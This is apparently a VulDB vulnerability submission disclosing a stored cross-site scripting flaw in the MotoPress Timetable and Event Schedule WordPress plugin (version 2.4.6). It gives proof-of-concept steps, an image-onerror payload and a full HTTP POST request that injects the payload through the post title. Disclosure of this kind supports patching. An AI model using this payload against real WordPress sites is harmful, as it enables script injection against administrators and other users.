| शीर्षक | Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in Timetable and Event Schedule by MotoPress |
|---|
| विवरण | # Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in Timetable and Event Schedule by MotoPress
# Exploit Author: Mostafa Farzaneh (Mr.pyweb)
# Web Site: https://motopress.com/
# Software Homepage: https://wordpress.org/plugins/mp-timetable/
# Version : 2.4.6
# Tested on: Windows 10
# Category: WebApp
# Date: 2022-05-24
# Description:
MotoPress Timetable and Event Schedule is an all-around organizer plugin developed to help you create and manage online schedules for a single or multiple events, customize the appearance of each event, add date, time, description and display all the needed items in a carefully-crafted timetable.
An authenticated user is able to inject arbitrary Javascript or HTML code to the "Timetable page" on Title's parameter This causes Stored XSS attack against the administrators or the other authenticated users.
POC:
1- go to Timetable page
2- click on Quick Edit and change Title's value to "<img src=x onerror=alert`2`>" and click on update
3- click on view to run XSS payload
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wp/wp-admin/edit.php?post_type=mp-event
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 432
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
post_title=%3Cimg+src%3Dx+onerror%3Dalert%603%60%3E&post_name=17&mm=05&jj=23&aa=2022&hh=18&mn=18&ss=01&post_author=1&post_password=&tax_input%5Bmp-event_category%5D%5B%5D=0&tax_input%5Bmp-event_category%5D%5B%5D=13&menu_order=0&tax_input%5Bmp-event_tag%5D=&comment_status=open&_status=publish&_inline_edit=f68c320526&post_view=list&screen=edit-mp-event&action=inline-save&post_type=mp-event&post_ID=17&edit_date=true&post_status=all |
|---|
| उपयोगकर्ता | pyweb-security (UID 11883) |
|---|
| सबमिशन | 15/08/2022 11:58 AM (4 साल पहले) |
|---|
| संयम | 16/08/2022 03:42 PM (1 day later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 206486 [MotoPress Timetable and Event Schedule पर WordPress Quick Edit /wp-admin/admin-ajax.php post_title क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 17 |
|---|